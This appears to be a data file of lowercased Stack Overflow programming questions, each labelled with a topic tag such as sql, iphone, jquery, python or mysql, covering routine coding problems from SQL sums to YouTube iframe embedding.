using sum in an sql query  i m trying to do a query where it adds up the totals for the orders from each customer.    i have tried a few different ways but i am not sure the right way to do it.    i ve tried...   <pre><code>select * from orders sum(total) as totals count(orderid) as orderamt group by customerid  orderamt  shipname  totals </code></pre>   i want to get this result....   <pre><code>===================================== |customerid|orders |shipname|total  | |==========|=======|========|=======| |3334      |3      |joe blow|1100.00| |----------|-------|--------|-------| |114       |2      |steve   |280.00 | |----------|-------|--------|-------| |1221      |1      |sue     |250.00 | |----------|-------|--------|-------| |3444      |1      |bob     |22.00  | ===================================== </code></pre>   from this table...   <pre><code>|===================================| |customerid|orderid|shipname|total  | |==========|=======|========|=======| |3334      |232    |joe blow|400.00 | |----------|-------|--------|-------| |3334      |234    |joe blow|500.00 | |----------|-------|--------|-------| |3334      |231    |joe blow|200.00 | |----------|-------|--------|-------| |114       |235    |steve   |250.00 | |----------|-------|--------|-------| |114       |239    |steve   |30.00  | |----------|-------|--------|-------| |1221      |244    |sue     |250.00 | |----------|-------|--------|-------| |3444      |632    |bob     |22.00  | |===================================| </code></pre>   what would be the correct sql statement for this.,sql
how to search a text in uiview   i am new to iphone development. i am able to draw a pdf page which contains some text  in a uiview. now i want to do search a text in my present view and highlight that text as well. please help me out from this problem. thank you.,iphone
why do i have to use  closest  when there is only one element with the specified class name   while studying with codeschool  this variable assignment is considered right.   <pre><code>var dailyprice = +$(this).closest( .tour ).data( daily-price ); </code></pre>   while my original answer was considered wrong.   <pre><code>var dailyprice = +$( .tour ).data( daily-price ); </code></pre>   and here is the complete html  which only has one  tour  class. there s no ambiguity about it. so why was my answer wrong    <pre><code>&lt;div class= tour  data-daily-price= 357 &gt;   &lt;h2&gt;paris  france tour&lt;/h2&gt;   &lt;p&gt;$&lt;span id= total &gt;2 499&lt;/span&gt; for &lt;span id= nights-count &gt;7&lt;/span&gt; nights&lt;/p&gt;   &lt;p&gt;     &lt;label for= nights &gt;number of nights&lt;/label&gt;   &lt;/p&gt;   &lt;p&gt;     &lt;input id= nights  value= 7  type= number &gt;   &lt;/p&gt; &lt;/div&gt;  </code></pre>,jquery
any way to turn on bluetooth programmatically on ios7+  i hear that ios7 introduced this functionality with cbcentralmanager but can t find how. is possible  there is another way widthout use gkpeerpickercontroller,ios
nslog and printing of an object  i have a class and i want to setup what is printed when i call nslog with that class. for example     nslog(@ %@  nonstandardobject);    how do i setup the object so it prints out what i d want,objective-c
mysql: index name (lastname  firstname)  this is the query from tutorial i read   <pre><code>create table employee ( id mediumint unsigned not null auto_increment primary key  departmentid tinyint unsigned not null     comment  constraint foreign key (departmentid) references department(id)   firstname varchar(20) not null  lastname varchar(40) not null  email varchar(60) not null  ext smallint unsigned null  hiredate timestamp not null default current_timestamp  leavedate datetime null  index name (lastname  firstname)  index (departmentid) ) </code></pre>   what is the function of <code>index name (lastname  firstname)</code>      please inform me if my question is not clear.    thank you <br> gusde,mysql
it does not give me exact button count in jquery  it is not giving me exact button count in table as when i add one row in table and when i click on edit button it gives me 2 button counts where there is only one button in table and one more thing it is also gives me some pseudo error when i want to check wheather edit button clicked or not in table`   <pre><code>$(document).ready(function() {     var count = 1;     $( #submit_button ).on( click   function() {         var fname_field = $( #fname1 ).val();         var lname_field = $( #lname1 ).val();         var address_field = $( #address1 ).val();          if ($( #fname1 ).val() == null || $( #fname1 ).val() ==    &amp;&amp; $( #lname1 ).val() == null || $( #lname1 ).val() ==    &amp;&amp; $( #address1 ).val() == null || $( #address1 ).val() ==   ) {             alert( please fill the form );         }          $( .above_info ).append( &lt;tr&gt;&lt;td&gt;  + count +  &lt;/td&gt;&lt;td&gt;  + fname_field +  &lt;/td&gt;&lt;td&gt;  + lname_field +  &lt;/td&gt;&lt;td&gt;  + address_field +  &lt;/td&gt;&lt;td&gt;&lt;input type= button  name= edit  id= edit_button  value= edit /&gt;&lt;/td&gt;&lt;/tr&gt; );         count++;     });      $(document).on( click    input[type=button]   function() {         alert( i am in edit button );         var button_count = $( input[type=button] ).length;         alert(button_count);         if ($( input[type=button] ).is( :clicked )) {             alert( i am in button );         }     }); }); </code></pre>  <pre class= lang-css prettyprint-override ><code>.form {     margin-left: 200px; }  #address1 {     margin-left: 25px; }  #fname1  #lname1 {     margin-left: 9px; }  #submit_button {     margin-left: 95px; }  .above_info {     margin-left: 200px;     width: auto;     height: auto;     border: 1px solid #000; } </code></pre>  <pre class= lang-html prettyprint-override ><code>&lt;form name= myform  class= form &gt;     first name : &lt;input type= text  name= fname  id= fname1  /&gt;&lt;br /&gt;      last name : &lt;input type= text  name= lname  id= lname1  /&gt;&lt;br /&gt;      address : &lt;input type= text  name= address  id= address1  /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     &lt;input type= button  name= submit  value= submit  id= submit_button  /&gt; &lt;/form&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;table class= above_info &gt;&lt;/table&gt; </code></pre>,jquery
skip $asyncvalidators until model is dirty  i use <code>$asyncvalidators</code> to validate a field value. the field value is fetched from server with <code>$resource</code>. on page load  the value is empty and the validator sends a request to the server. when <code>$resource</code> has fetched the resource  the field value is populated and the validator sends another request to the server.    i would like to skip these two initial requests since they are useless. how do i do that     my input field:   <pre><code>&lt;input name= name  class= form-control  ng-model= user.name  validate-name&gt; </code></pre>   my directive:   <pre><code>angular.module( myapp ).directive( validatename   function($http  $q) {   return {     require:  ngmodel       link: function(scope  element  attrs  ctrl) {       ctrl.$asyncvalidators.name = function(modelvalue  viewvalue) {         return $http.post( /validate-username   {username: viewvalue}).then(function(response) {           if (!response.data.validusername) {             return $q.reject(response.data.errormessage);           }           return true;         });       };     }   }; }); </code></pre>,angularjs
str.replace adding back slash  i have this interactive session:   <pre><code>&gt;&gt;&gt; str =  192.168.1.1  &gt;&gt;&gt; str = str.replace( .   \. ) &gt;&gt;&gt; str  192\\.168\\.1\\.1  </code></pre>   i want the out put to be: <code>192\.168\.1\.1</code> instead of <code>192\\.168\\.1\\.1</code>    how can i achieve this  why is it behaving this way,python
rails bootstrap close modal  i m using a bootstrap modal in a rails app. i would like to close the modal in the view.    for instance bootstrap documentation has:   <pre><code>&lt;button class= btn  data-dismiss= modal  aria-hidden= true &gt;close&lt;/button&gt; </code></pre>   i tried this:   <pre><code>&lt;%= submit_tag  cancel   :type =&gt; :reset  :class =&gt;  btn btn-danger   :input_html =&gt; {data-dismiss= modal  aria-hidden= true } %&gt; </code></pre>   but  i get a syntax error.    i want to use the same technique to close the submit button.    i could close it in jquery  but i d really like to close it in the form.    thanks!,ruby-on-rails
iphone sdk - subtracting a time given another time  having trouble with this. i need to come up with a logic code.    how do i  given 2 set of times. subtract one from the other and change it all to seconds.    lets say i have  12:00:00  and  15:00:00  now i want to subtract 12:00:00 from 15:00:00 so the result will be 03:00:00. then change it all to seconds so that will be 10800 seconds    i already have two sets of time in an nsstring after being formatted with a nsdateformatter,iphone
can t find keyplane that supports type 4 when running on device  not simulator  there s a bucketload of previous questions/answers about this already.   <blockquote>     can t find keyplane that supports type 4 for keyboard   iphone-portrait-numberpad; using   563160167_portrait_iphone-simple-pad_default   </blockquote>   however all the answers involve changing a setting on the simulator  but i m not using the simulator  i m getting this message in the console when running on a phone.    there s also a few more answers when the issue arose trying to change the return key on the keyboard  but i m not doing that either.    all i have is two uitextfields  one sets the keyboard entry type to uikeyboardtypenumberpad and the other uses the default keyboard type. that s it. then the message appears in the console when the text field set to <code>uikeyboardtypenumberpad</code> becomes the first responder.    if i change it to <code>uikeyboardtypephonepad</code>  then the message becomes   <pre><code> can t find keyplane that supports type 5 for keyboard. </code></pre>   a numeric keypad will appear in both instances <em>however</em> it takes a very long time to do so  quite a few seconds.  if instead of specifying a numeric keypad the uitextfield just uses the default keypad then it dose not have this long delay time before it appears.    [xcode 7.3  iphone 6  ios 9.2.1],ios
request header field x-access-token is not allowed by access-control-allow-headers  i am stuck with this error. please help..   <blockquote>    xmlhttprequest cannot load. request header field x-access-token is not   allowed by access-control-allow-headers.  </blockquote>,angularjs
why is this cast to a struct pointer not a compile-time constant   the c program below fails to compile with gcc due to an error about the size of test_array not being a compile time constant. why    <pre><code>struct hwnd__ { int unused; };  typedef struct hwnd__ *hwnd;  void test() {    static int test_array[ (unsigned long long)((hwnd)1) ]; } </code></pre>   error produced is:   <pre><code>test.c: in function ‘test’: test.c:5:14: error: storage size of ‘test_array’ isn’t constant    static int test_array[ (unsigned long long)((hwnd)1)  ];               ^ </code></pre>,c
distributionnotfound automat  i am trying to install obfsproxy on google cloud compute engine.i am getting the following when i launch the following command   <pre><code>obfsproxy --log-file=obfsproxy.log --log-min-severity=info obfs4 \      --dest=127.0.0.1:443 server 0.0.0.0:21194 </code></pre>   <a href= https://i.stack.imgur.com/vtltn.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vtltn.png  alt= enter image description here ></a>    i tried to following to fix it but it didn t work and the error is still the same   <pre><code>pip install automat --upgrade </code></pre>   what am i missing here,python
load page title initial automatically  today:    on every page  load  event-   <pre><code>page.title = defaultpagetitle + page.title; </code></pre>    defaultpagetitle - string that is taken from  basepage   that means that for every new page  i have to copy&amp;paste this line.    my goal: automatically load initial title suffix to every page..    defaultpagetitle= xxx-   so if my aspx code file title tag is <code>&lt;title&gt;page1&lt;/title&gt;</code>    the page title will be  xxx- page1,asp.net
modify object while iterating over a nsmutablearray  i was trying to modify an object from an array while iterating over it and couldn t find a nice way of doing it... this is what i ve done  is there a simpler way of doing this  i ve been googling for while but i couldn t find anything...   <pre><code>nsmutablearray *temparray = [[nsmutablearray alloc]init]; nsarray *days = [restaurant.hours componentsseparatedbystring:@   ]; for (nsstring *day in days) {       nsstring *daywithoutspace = [day stringbytrimmingcharactersinset:[nscharacterset whitespaceandnewlinecharacterset]];       [temparray addobject:daywithoutspace]; } days = [nsarray arraywitharray:temparray]; </code></pre>   thanks!,objective-c
getting exc_bad_access in viewdidunload  i am getting exception on few of my viewcontrollers when i go through browsing the application.    the exception is occurring in viewdidunload  i think this is due to memory warning. the following line gets an exception which are the iboulet objects.   <pre><code>self.labeldistance = nil; self.distanceslider = nil; </code></pre>   please help. thanks,iphone
how to create a desktop shortcut from a compressed file  recently i have been approached by friends and family asking me to create various python apps for them. i m trying to find an easy way to distribute these projects in a way that requires zero prior knowledge and minimal explanation.     my idea is to create a virtual environment for each app and compress it  then i can simply email it to them  they can unzip it and be good to go. my question is how can i have this create shortcuts on their desktops to things such as the batch file (most importantly)  excel sheets  image folders  etc     i would appreciate any help on this  or if i m going about this completely wrong  it would be great to learn of a better way.,python
is it possible to choose one of 2 structures dynamically which are under union   this question is regarding c language concepts.    existing structure:   <pre><code>struct parent{     char c[4];     float f;     double d;     int flag;      struct child_old     {         int i;         float l;     }c1; } </code></pre>   i want to add a new structure under parent (lets call it - child_new). i use only one of the child structures at a time based on scenario. not both at a time. so i can put them under union.    modified structure:   <pre><code>struct parent{     char c[4];     float f;     double d;     int flag;      union{         struct child_old         {             int i;             float j;         }c1;          struct child_new         {             int i;             float j;             char c[32];             double d;          }c2;     }uu; } </code></pre>   here my requirement is  based on struct member  flag  value (0/1)  i need to decide which child structure i need to use.    this is because:   <ol> <li>there is huge data stored in my file system of type parent structure. there should not be any problem while reading them.</li> <li>while using child_old  i dont want to consume extra space needed by child_new.</li> </ol>   is it possible in c  or is there any work around solution,c
is it needed to rename whole ios project  i have recently made an ios app  succesfully submitted. currently i have a similar project (same design  different values). my question is if i can use the same core  use different values  obviously i will rename the identity and type  bundle id  scheme  but the name of the workspace   info.plist will stay the same.,ios
what is more efficient  loading all javascript at once or loading it as required per-page   i always read about having to concatenate and minify your javscript to decrease load times  but i m not sure about what to do in case of a multi-page application. is it better to concatenate and minify all javascript for the entire site  include the same file in every page and rely on caching or is it better to only group the specific js needed for each page separately,javascript
why can t i use a select table as input of from in sql  i m new at sql stuff and as a training  i just want to play around with stack exchange data explorer  i want know why the below code doesn t work:   <pre><code>select count(*) from (select id       from posts       where posttypeid = 2 and owneruserid =  ##userid## ) </code></pre>   my main goal is finding users which their answers is more than 1000  but for know  i can t figure out what the problem of that code is  and why i didn t get the number of a user s answers ...,sql
mysql select last two blocks of entries based on entry days  i have a table that has multiple entries in a day. i d like the last two sets of entries.    value | timein |  id    <img src= https://i.stack.imgur.com/bse0i.png  alt= enter image description here >   <pre><code>select * from db.table t where t.r_id = 76703 order by timein desc limit 2 </code></pre>   i want to add a group by timein (the time column) but show the individual rows inside. by limit 2  i mean i want two groups.  (basically out of a table  get the last two (earliest dates to today) groups of values for the id on the right,mysql
creating a dymo tape text effect without changing the markup   so given that i have a paragraph element with text in it:    <pre><code>&lt;p&gt;something something something&lt;/p&gt; </code></pre>   what css witchcraft do i have to perform to have my text looking like this     given that i am pulling my content from a cms  i d have to do some working around that seems like more hassle than it s worth to achieve this effect. what are some approaches i could use to go about achieving this     edit: <a href= http://svevoromano.it/css_tests/dymo_tape_effect_with_css/  rel= nofollow noreferrer >here is an example that uses manual line breaks at the end of every <code>span</code> to achieve this effect</a>     i can t use this because i don t have any say over when a line should break since all the text is pulled from the cms    <img src= https://i.stack.imgur.com/bs0q0.jpg  alt= dyno tape text >,css
how can i sign in from my iphone app to facebook account   i want to sign in to facebook using my application  so how do i code it,iphone
error: hex escape sequence out of range  trying to compare to a string: <code>bool r = [res isequaltostring:[@ \x124vx\xc3\xaa ]];</code>    however i got    <blockquote>    error: hex escape sequence out of range  </blockquote>   i tried also something like:   <pre><code>nsstring *s = [@ \x12  stringbyappendingstring: @ 4vx\xc3\xaa ]; bool r = [res isequaltostring:s]; </code></pre>   now it could work and return <code>yes</code>    how can i specify such string and avoiding splitting them up first  it s kind of annoying...    <em>update</em>: i use @rmaddy s code  and it works now  however  if i put it in array like:   <pre><code>nsarray *answers = @[                      @                         @ #                        @ \x12  4vx\xc3\xaa                        ]  </code></pre>   it will generate a warning for the last string literal:   <blockquote>    concatenated nsstring literal for an nsarray expression - possibly missing a comma   how to get rid of it   </blockquote>   using   <pre><code>nsstring *s = @ \x12  4vx\xc3\xaa ; nsarray *arr = @[s]; </code></pre>   can work  but i prefer not writing more nsstring *s ... to do it.,objective-c
signups with thinktecture identityserver/sts/claims-based auth  i ve been playing with the thinktecture identityserver recently  and i hooked up a simple project which to use the identityserver as an <a href= http://en.wikipedia.org/wiki/security_token_service  rel= nofollow >sts</a> for <a href= http://en.wikipedia.org/wiki/claims-based_identity  rel= nofollow >claims-based  federated authentication</a>.  so effectively   login  works.  what i m now trying to figure out is how to allow signups.    with the whole identityserver/sts/claims-based model  how can i allow users to sign up   i ve looked around and found almost nothing on the topic.  this leads me to wonder: do i have to do signups using a separate service which writes to the same user store shared by the identityserver/sts   or is there some other solution     disclaimer: i m pretty new to the whole .net authentication/authorization topic.,.net
rails :onchange event firing before the select loses focus  i have a few select elements in my views that are supposed to fire after the user chooses an item from the dropdown.      my selects look like this:   <pre><code>&lt;%= collection_select(:project  :id  projects   id    name   {  } {:style =&gt;  width:150px   :onchange =&gt;  document.getelementbyid( project_btn ).click()  }) %&gt;  &lt;span class= control_button_light  style= display:none; &gt;&lt;%= submit_tag  jump_to_project   :id =&gt;  project_btn  %&gt;&lt;/span&gt;  &lt;%= observe_field( project_id   :frequency =&gt; 1  :function =&gt;  document.getelementbyid( project_btn ).click() ) %&gt; </code></pre>   the problem is that the observe_field function is firing before the select loses focus.  in other words  the submit element is  clicked  1 second after the select gets focus  even if the user hasn t finished choosing from the dropdown.    anyone know how to delay the observer from clicking the submit until after the select loses focus,ruby-on-rails
can not set property to null  ok this probably is stupid question but i ve been sitting here trying to fix this issue.  i have a select list and when it changes to a specific value i m trying to set a property to empty string and disable some other fields.  problem is i keep getting the  typeerror: cannot set property  msrp  of null error.  i ve been looking at this for a while now.  here is the code :   <pre><code>            var msrp;                          vm.changedealtype = function changedealtype(myscenario  typeid) {                  scenario.iscashdealtype = false;                 msrp =   ;                                           if( typeid.value !== null &amp;&amp; typeid.value ===  cash ){                     myscenario.iscashdealtype = true;                     myscenario.original.msrp = msrp;                 }              }; </code></pre>,javascript
datarow in asp.net shows error  i have code where i  gettin the values inside a table to a datarow and then further copying it to the datatable.   <pre><code>datarow[] dr = datatable.select( name=name ); document = dr.copytodatatable() </code></pre>   where datatable is object of datatable and document also is a datatable where the values of the column  name  are store. which i further bind inside dropdownlist.    it worked fine. but suddenly im starting to get error as  object reference not set to instance of an object.    is there anything possible i can do,asp.net
restful client using token authentification with php  i am trying to access a restful api using token authentification but i am getting the following error:   <pre><code> errorcode :  invalidauthenticationheader    message :  invalid authentication information was passed in authetication header!  </code></pre>,php
how i change complete url in asp.net with help of url rewriting   how i change complete url in asp.net with help of url rewriting,asp.net
sql union all for a single result  i have 2 tables  example student table and student_history table.  both the student and student_hostory tables contain the same number of columns. if a student is in the history table they wont be in the student table.(one index number a0001 can only be in one table either student or student_history)    if i want to get a student details from the index number  i have to do the  union all  to both tables and find the user.     is there a easy way to get this done  other than the union all. since the result set only contain one row either in student or student_history table.,mysql
angular has duplicates  the error i get is ngrepeat:dupes<br> i am using 1.2.9    blindly updated to the newer or latest does no good.     <pre><code>&lt;script&gt; window.onload = shoppingcartctrl  function shoppingcartctrl($scope  $http)  {           $scope.items = {[$data]}              //we want the 1st load to be sorted by sort_code         $scope.sortexpression =  sort_code ;          $scope.mysortfunction = function(item) {             if(isnan(item[$scope.sortexpression]))                 return item[$scope.sortexpression];             return parseint(item[$scope.sortexpression]);         }                 $scope.refreshsessionlist = function(){             //alert($scope.conference_year);              $http({                 method:  post                   url:  browser.php conference_year= +$scope.conference_year                  headers:{ content-type  :  application/x-www-form-urlencoded; charset=utf-8 }                             });             }  }   &lt;/script&gt;   &lt;div class= row &gt;       &lt;div class= large-12 columns &gt;  &lt;div ng-app&gt;         &lt;div ng-controller= shoppingcartctrl &gt;               &lt;!-- angularjs version --&gt;                    &lt;br /&gt;             &lt;div&gt;&lt;strong&gt;filter results&lt;/strong&gt;&lt;/div&gt;              &lt;table&gt;                 &lt;form action= browser.php  method= post  id= conference_year_form &gt;                 &lt;tr&gt;&lt;td&gt;by conference year:&lt;/td&gt;                 &lt;td&gt;                   {[html_options id=conference_year name=conference_year options=$myoptions selected=$myselectedconferenceyear  onchange= this.form.submit() ]}                 &lt;/td&gt;&lt;/tr&gt;                 &lt;/form&gt;                  &lt;tr&gt;                     &lt;td&gt;by session title: &lt;/td&gt;                     &lt;td&gt;&lt;input type= text  ng-model= search.pname  /&gt;&lt;/td&gt;                 &lt;/tr&gt;                 &lt;tr&gt;                     &lt;td&gt;by session code: &lt;/td&gt;                     &lt;td&gt;&lt;input type= text  ng-model= search.product_code  /&gt;&lt;/td&gt;                 &lt;/tr&gt;                 &lt;tr&gt;                     &lt;td&gt;by presentation title: &lt;/td&gt;                     &lt;td&gt;&lt;input type= text  ng-model= search.presentations  /&gt;&lt;/td&gt;                 &lt;/tr&gt;                 &lt;tr&gt;                     &lt;td&gt;by session speaker: &lt;/td&gt;                     &lt;td&gt;&lt;input type= text  ng-model= search.speakers  /&gt;&lt;/td&gt;                 &lt;/tr&gt;                     &lt;tr&gt;                     &lt;td&gt;by product number: &lt;/td&gt;                     &lt;td&gt;&lt;input type= text  ng-model= search.productnumber  /&gt;&lt;/td&gt;                 &lt;/tr&gt;             &lt;/table&gt;             &lt;br /&gt;              &lt;div class= row &gt;       &lt;div class= small-3 columns &gt;             &lt;div&gt;sort by:               &lt;select ng-model= sortexpression &gt;                      &lt;option value= sort_code &gt;session code&lt;/option&gt;                     &lt;option value= pname &gt;session title&lt;/option&gt;                     &lt;option value= productnumber &gt;product number&lt;/option&gt;                  &lt;/select&gt;             &lt;/div&gt;          &lt;/div&gt;         &lt;/div&gt;         &lt;br/&gt;            &lt;table border= 0 &gt;                 &lt;thead&gt;                     &lt;tr&gt;                         &lt;th&gt;session code&lt;/th&gt;                          &lt;th&gt;session title&lt;/th&gt;                         &lt;th&gt;product number&lt;/th&gt;                     &lt;/tr&gt;                 &lt;/thead&gt;                 &lt;tbody&gt;                     &lt;tr ng-repeat= item in items | orderby:mysortfunction | filter:search &gt;                         &lt;td valign= top &gt;&lt;h3&gt;&lt;a href= ./publicaccess.php id={{item.id}} &gt;{{item.product_code}}&lt;/a&gt;&lt;/h3&gt;&lt;/td&gt;                          &lt;td&gt;&lt;h3&gt;&lt;a href= ./publicaccess.php id={{item.id}} &gt;{{item.pname}}&lt;/a&gt;&lt;/h3&gt;                          &lt;br/&gt;                             {{item.speakers}}                         &lt;/p&gt;                          &lt;br/&gt;                         &lt;h6&gt;{{item.free_viewing}}&lt;/h6&gt;                         &lt;/td&gt;                          &lt;td&gt;{{item.productnumber}}&lt;/td&gt;                      &lt;/tr&gt;                  &lt;/tbody&gt;             &lt;/table&gt;               &lt;br /&gt; &lt;/div&gt; &lt;/div&gt;  &lt;/div&gt; &lt;/div&gt; </code></pre>   here is a data sample:   <ul> <li>2013 event | 2013 | a1 | a01 | title name</li> <li>2013 event | 2013 | c10 | c10 | title name</li> </ul>   could it be due to the duped codes c10 and c10,angularjs
fund raising themometer generator  i m looking for a simple gadget/widget to add to my site.  it should allow me to display some sort of themometer showing funds raisted.    can someone please recommend a good one,html
two multidimensional array in foreach  i want to work with both array simultaneously<br/> you will understand what i want just check foreach loop   <pre><code>&lt; php $ar = array( az =&gt; 1 ); $ar2 = array( az2 =&gt; 2 ); *foreach ($ar as $key =&gt; $value and $ar2 as $key2 =&gt; $value2) {     echo $key2 . &lt;br&gt; .$key; } die();  &gt; </code></pre>,php
update table takes long time in mysql  <pre><code>create table fa (     book varchar(100) default null       production varchar(1000) default null          vendor_level varchar(100) default null      book_no int(10) default null      unstable_time_period varchar(100) default null      `period_year` int(10) default null  </code></pre>   <code>promo_3_visuals_manual_drag</code> int(10) default null <br>   <code>book_no</code> int(10) default null <br>   <code>product_level_dist</code> varchar(100) default null <br>   <code>product_level_acv_trend</code> varchar(100) default null <br>   key <code>book</code> (<code>book_no</code>) <br>   key <code>period</code> (<code>period_year</code>)<br> ) engine=innodb default charset=utf8        index we added to column  index : book_no and periodic_year has added     we cant add unique nor primary key to both column as it has plenty of duplicate values in it.     there are 46 millions rows.    we tried partitioning to period year and catno for sub partition  but doesn t worked as it is still takes long time      when i run the update query :   <pre><code>update fa set unstable_time_period = null  where book_no = 0 and periodic_year = 201502;     </code></pre>   it taking me more than 7 min   how can i optimize the query,mysql
basic c questions. fprintf and fgets failures  i ve got some basic c questions that are driving me insane. let me post my code  and i ll tell you about what s going wrong.   <pre><code>#include&lt;stdio.h&gt; #include&lt;fcntl.h&gt; #include&lt;string.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/uio.h&gt; #include &lt;unistd.h&gt;  static int getline();   int main() { char* sourcefile; char* destinationfile; int error  bytesread; char* sourcefd; char* destinationfd; char buffer[100];  error = getline( please enter a source file name: \n   sourcefile  100); if (error == 1) {     printf( a source file was not inputted.\n );     return 0; } else if (error == 2) {     printf( source file is too long.\n );     return 0; }  error = getline( please enter a destination file name: \n   destinationfile  100); if (error == 1) {     printf( a destination file was not inputted.\n );     return 0; } else if (error == 2) {     printf( destination file is too long.\n );     return 0; } }  #define ok       0 #define no_input 1 #define too_long 2 static int getline (char *prmpt  char *buff  unsigned int sz) { int ch  extra;  // get line with buffer overrun protection. if (prmpt != null) {     printf( %s   prmpt);     fflush(stdout); } }  if (fgets (buff  sz  stdin) == null) {     fprintf(stderr   fgets returned null );     return no_input; }  printf( logging input: %s   buff);  // if it was too long  there ll be no newline. in that case  we flush // to end of line so that excess doesn t affect the next call. if (buff[strlen(buff)-1] !=  \n ) {     extra = 0;     while (((ch = getchar()) !=  \n ) &amp;&amp; (ch != eof))         extra = 1;     return (extra == 1)   too_long : ok; }  // otherwise remove newline and give string back to caller. buff[strlen(buff)-1] =  \0 ; return ok; }  </code></pre>   the errors are occurring in the the getline function  which was largely provided by another stackoverflow post. here are my issues.   <ol> <li> no matter what i do  i cannot get debug print statements to work properly. basic printf will often fail. calling fflush(stdout) immediately after does not help  nor does setbuf(stdout  null). right now i am trying fprintf(stderr)  also to no avail. the loc that continually fails (regardless of the method i try) is fprintf(stderr   fgets returned null ). note that the application still gives me the error that  a source file was not inputted.  it doesn t matter if i target stdout or stderr. </li> <li> fgets is returning null every time. i have no idea why. no  the input i m providing is not large. </li> </ol>   edit: i just noticed the missing brackets on that if statement (the fgets one). let me see what that fixes.,c
how to access asp.net page runs on local iis server through internet  i have a published asp.net web page runs on <strong>local machine iis server and it is working fine</strong> how do i access the same web running web site over the lan and internet    additional : i have a <strong>static ip</strong> for the machine and iis runs on port 8080    local machine url for site = localhost/frmhome.aspx static ip for the machine =  203.165.24.225  which 80 and 8080 ports are enabled for http requests,asp.net
checking time in form for user based on admin data  afternoon all     i m finding this time very confusing. maybe it s because i have no concept of time right now but i have the following in my admin:   <pre><code>   t.boolean   mon                      default: false     t.boolean   tue                      default: false     t.boolean   wed                      default: false     t.boolean   thu                      default: false     t.boolean   fri                      default: false     t.time      start      t.time      end  </code></pre>   i have the following form in my bookings:   <pre><code>&lt;%= simple_form_for(@booking) do |f| %&gt;   &lt;% if @booking.errors.any  %&gt;     &lt;div id= error_explanation &gt;       &lt;h2&gt;&lt;%= pluralize(@booking.errors.count   error ) %&gt; prohibited this booking from being saved:&lt;/h2&gt;        &lt;ul&gt;       &lt;% @booking.errors.full_messages.each do |msg| %&gt;         &lt;li&gt;&lt;%= msg %&gt;&lt;/li&gt;       &lt;% end %&gt;       &lt;/ul&gt;     &lt;/div&gt;   &lt;% end %&gt;   &lt;ul&gt;   &lt;li&gt;&lt;%= f.label :first_name %&gt;&lt;/li&gt;    &lt;li&gt;&lt;%= f.text_field :first_name %&gt;&lt;/li&gt;     &lt;li&gt;&lt;%= f.label :last_name %&gt;&lt;/li&gt;    &lt;li&gt;&lt;%= f.text_field :last_name %&gt;&lt;/li&gt;     &lt;li&gt;&lt;%= f.label :email %&gt;&lt;/li&gt;    &lt;li&gt;&lt;%= f.text_field :email %&gt;&lt;/li&gt;     &lt;li&gt;&lt;%= f.date_select :start_datetime %&gt;&lt;/li&gt;    &lt;li&gt;&lt;%= f.time_select :start_datetime  :ignore_date =&gt; true  :minute_step =&gt; 15 %&gt;&lt;/li&gt;    &lt;li&gt;&lt;%=f.input :length  input_html: { :style=&gt;  width: 120px }  collection: [[ 30 mins   30]  [ 1 hour   60]]  :class =&gt;  dropdown-toggle  %&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   i want to be able for the input on the booking to match the time and days set in the user.    could anyone help me wrap my head around this time issue. i m trying to do this in the most pragmatic way but failing.    thanks.,ruby-on-rails
is there any way to programatically send my iphone app to the background  i have an iphone app that i need to send to the background automatically. the app is defined with the voip key in its background modes so it should continue running when in background.  i specifically need the app to keep running so calling exit(0) is no good.    the app will not be distributed via app store so using a private api is ok.    i have read about uiapplication terminate and uiapplication terminatewithsuccess but they don t seem to be available anymore,ios
the link of a website  i̇ have created a search engine on html with the following code:   <pre><code>&lt;form method= get  action= www.imisoundkarnaval.com &gt;    &lt;table cellpadding= 0px  cellspacing= 0px &gt;       &lt;tr&gt;          &lt;td style= border-style:solid none solid solid;border-color:#4b7b9f;border-             width:1px; &gt;             &lt;input type= text  name= zoom_query  style= width:100px; border:0px solid;                 height:17px; padding:0px 3px; position:relative; &gt;           &lt;/td&gt;          &lt;td style= border-style:solid;border-color:#4b7b9f;border-width:1px; &gt;              &lt;input type= submit  value=   style= border-style: none; background:                 url( searchbutton3.gif ) no-repeat; width: 24px; height: 20px; &gt;          &lt;/td&gt;       &lt;/tr&gt;    &lt;/table&gt; &lt;/form&gt; </code></pre>   but for some reason it is not linked with the site i wanted the code to be!!    can anybody help me by finding the true link of the following site = www.imisoundkarnaval.com    or helping me with a better search engine,html
restrict access to iphone till a random reset code is provided. reset code is communicated between application and user via email  i am making an customized alarm clock  iphone app. in order to turn the alarm clock off  the user has to type in a random code that is sent to his email before 2 hours before the alarm. i am looking for a mechanism by which i can restrict complete access till the user puts in the random reset code. also  at this time  the user should not be allowed to reduce the volume  turn off the phone  or any other mechanisms.,ios
java: program will stop in a certain condition then press any key to continue... it will continue to loop  problem is i will print all the characters in the keyboard  however everytime it counts 10 the program will stop then press any key to continue.. the sequence will continue.. so far this is what i ve done.   <pre><code>public class asciidisplay {     public static void main (string [] args)     {          for (int i = 0; i&lt;=255; i++)             system.out.printf( %d\t%c\n  i i);     } } </code></pre>,java
youtube video not showing in a web page when embed using iframe   i want to embed a youtube video on my website. i have tried the following code but it does show the video or any controllers:      <pre><code> &lt;iframe width= 400  height= 300              src= https://www.youtube.com/watch v=z-qgsxkyqjc              frameborder= 1              allowfullscreen&gt;&lt;/iframe&gt; </code></pre>   anyone know what i am doing wrong      much appreciated.,html
@class vs #import  what is the difference when using @class or #import in objective-c     i have seen various tutorials and only a few use @class while most of the others use #import.,objective-c
